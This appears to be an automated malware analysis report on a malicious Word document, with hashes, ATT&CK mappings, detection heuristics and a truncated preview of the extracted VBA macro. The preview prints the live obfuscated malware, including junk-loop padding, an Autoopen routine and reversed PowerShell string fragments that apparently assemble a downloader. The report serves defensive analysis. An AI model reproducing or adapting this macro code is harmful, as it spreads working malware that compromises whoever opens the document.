Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 068ecd78279fa7e1…

MALICIOUS

Office (OLE)

182.0 KB Created: 2018-05-09 02:21:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: c7e8f9150ea34ac9a3ebbae9ba033618 SHA-1: bdb2d895ddec7396c83e784653e39b8f3b739f02 SHA-256: 068ecd78279fa7e113dfde22368eeb5117670e303ca396f1744580a668cb32ea
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The critical heuristic firing indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands. The AutoOpen macro marker suggests the malicious code will execute automatically upon opening the document. The macro's obfuscated nature and the Shell() call strongly suggest it's designed to download and execute a second-stage payload.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 155122 bytes
SHA-256: f54d37db1fbe7b869b46653a1de1bbb4f6aca7d5a1b52200734d6a90d35bfcba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DuHazkSPT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ovhqS(vjJIR)
For Each ftRAWK In ishZpn
         wVoMj = (PPhFl * Sqr(jHrDRC) / 18377 / Rnd(IwUYP - CSng(rBfGW - COZZsw * DVPMM / 29062)) / (aTqoPW * UvABPz))
Next
End Sub
Sub XOjbj(pVhRLV)
For Each GwtlIJ In zXKrrz
         iTZYc = (OjGjkd * Sqr(oFlYd) / 88321 / Rnd(ZVCOtG - CSng(NzErk - fHBIti * NZsMB / 60015)) / (vrmlOz * nMRKf))
Next
For Each lBhCo In tqhEc
         uWfzdp = (OTRVM * Sqr(dndsv) / 69958 / Rnd(OMlMsq - CSng(AlwOn - FUaZn * bzQDUf / 39273)) / (LNQwmT * QhlTHn))
Next
For Each McWCi In NJMDE
         IAzJR = (YHMnVw * Sqr(TionoG) / 63138 / Rnd(KlojRz - CSng(VBAMt - KfTXUm * fEZHXZ / 27355)) / (YWXwX * wPJdz))
Next
End Sub
Sub HlKmIE(JzVPU)
For Each zQFLj In sjszf
         PWKMQJ = (UCbutm * Sqr(TXFZCG) / 5708 / Rnd(ZztDcU - CSng(AOoiK - irwjMV * RWWLY / 64542)) / (UdSuZZ * wLTMjZ))
Next
For Each BNFOc In lfIqq
         CLDchi = (imWwtF * Sqr(FljdWf) / 91416 / Rnd(PJQwva - CSng(pVbEo - btilh * vafQLJ / 85610)) / (zzfUL * PwuLlj))
Next
End Sub
Sub Autoopen()
On Error Resume Next
For Each azBUp In Ndrzr
         tAMksF = (DZEpqH * Sqr(zHfzWA) / 97035 / Rnd(UcdvW - CSng(fXIBnf - oCLBG * fuWILN / 92031)) / (Fwsbr * cfkGwi))
Next
qFZwjAMFJBnm (YCvoCb + UDdVjdUf + KFTzPC)
For Each WwURi In cZYQav
         pJSEEY = (HsaTI * Sqr(TFAiuL) / 79427 / Rnd(FjPpO - CSng(QwdfN - mmBmP * rzKdYA / 17096)) / (GWZuVP * RjcCP))
Next
End Sub
Sub PoJPuG(zhENP)
For Each TsNbI In jRBtZ
         JwAVCZ = (zCbIAO * Sqr(uGzZSL) / 58858 / Rnd(vODIU - CSng(jYOukj - HCdifd * wrjMN / 57900)) / (ZTcbN * pClRu))
Next
For Each wPdNO In itnEU
         miOVDf = (vpTKFl * Sqr(XbvEQ) / 23548 / Rnd(ahAViU - CSng(ikjUzi - iqTwGZ * PcFYbv / 87031)) / (wioHJ * BOAZK))
Next
For Each QFnpFD In slbFKm
         LEuwCZ = (Xlwjs * Sqr(cdcTZ) / 92205 / Rnd(iJpQTX - CSng(AVXdd - YAwTD * kstUp / 15830)) / (fCPJH * OHCCPd))
Next
End Sub
Sub iJBBOU(WzbjI)
For Each BLlpp In IGsNlM
         wPNVw = (pZsaqr * Sqr(UFqfb) / 67145 / Rnd(riCWN - CSng(PVXmw - pwYnI * cwSqJk / 89918)) / (jfDPMm * LYSMr))
Next
End Sub

Attribute VB_Name = "lRUCFiaB"
Sub wRhCw(hBURbO)
For Each jSHaJN In aFaRUq
         wnEGUw = (jlhKnS * Sqr(WzvPuI) / 64922 / Rnd(uiUMY - CSng(qrPhIC - NQLHSB * jaQWu / 99760)) / (IfCah * wtZlHY))
Next
End Sub
Function UDdVjdUf()
On Error Resume Next
For Each tuRciQ In JhjIbG
         VUOwRY = (hLNGaD * Sqr(UqaztH) / 13894 / Rnd(InriFu - CSng(wtwbSb - LmpAQ * iEWEM / 16171)) / (qJIiza * MaGnTj))
Next
For Each EBKhQI In bQPpYI
         IWluP = (svNWWu * Sqr(tNNnj) / 11824 / Rnd(uDcYwJ - CSng(cpblC - zcbHNr * iIonL / 41597)) / (mNCcF * WXEuN))
Next
zrPfFBPV = lLGpCj("mFJYfyh'+' '+'ni'+' cfsa1yh(hcaerof;)6Z'+'ye6Zy+6Zyxe.'+'6Zy'+'('+' '+'+ '+'BSN'+'1'+'yh + '+'6Zy'+'MYx'+'6'+'Zy + cilbup:vn'+'e1yh ='+' CDS1'i", 89670 - 89670 + 2 + 89670 - 89670, 89670 - 89670 + 137 + 89670 - 89670)
For Each GMQGll In zHQmF
         rzDlP = (MaGcOm * Sqr(fkYZYj) / 89225 / Rnd(ltSCC - CSng(rWvWb - DOSSmp * AWzjC / 38196)) / (FjahsF * JGGli))
Next
For Each aSUqUi In PMEhfS
         pzwbn = (MwLDYD * Sqr(VPTwTf) / 45388 / Rnd(fIbiXU - CSng(LiYavR - hEcni * iGQRQp / 36642)) / (sHNAv * KrVsQJ))
Next
TBjCfPjpDY = lLGpCj("rE3s'+'n1yh'((QcBcfd", 23854 - 23854 + 7 + 23854 - 23854, 23854 - 23854 + 11 + 23854 - 23854)
For Each kjiwI In MiPTj
         uEYrJ = (iBoSX * Sqr(ZAqwq) / 66917 / Rnd(XUFtam - CSng(HSGSd - hAAWlz * ahHiS / 18914)) / (YIjNs * jIjpKw))
Next
For Each bwpZtZ In fFAqcE
         cDmKQ = (wltTDZ * Sqr(KfvTJ) / 73007 / Rnd(LwVEIW - CSng(zzFwj - qXqlp * LqpCWW / 36916)) / (dAKhh * LuiiiB))
Next
vbvWAI = lLGpCj("@ksphVY93]rahC[,'6Zy' ECaLPeR-  29]rahC[,)77]rahC[+98]rahC[+021]rahC[(  EcALPeRc- 63]rahC[,)94]rahC[+121]rahC[+401]rahC[( EcALPeRn", 10881 - 10881 + 2 + 10881 - 10881, 10881 - 10881 + 122 + 10881 - 10881)
Fo
... (truncated)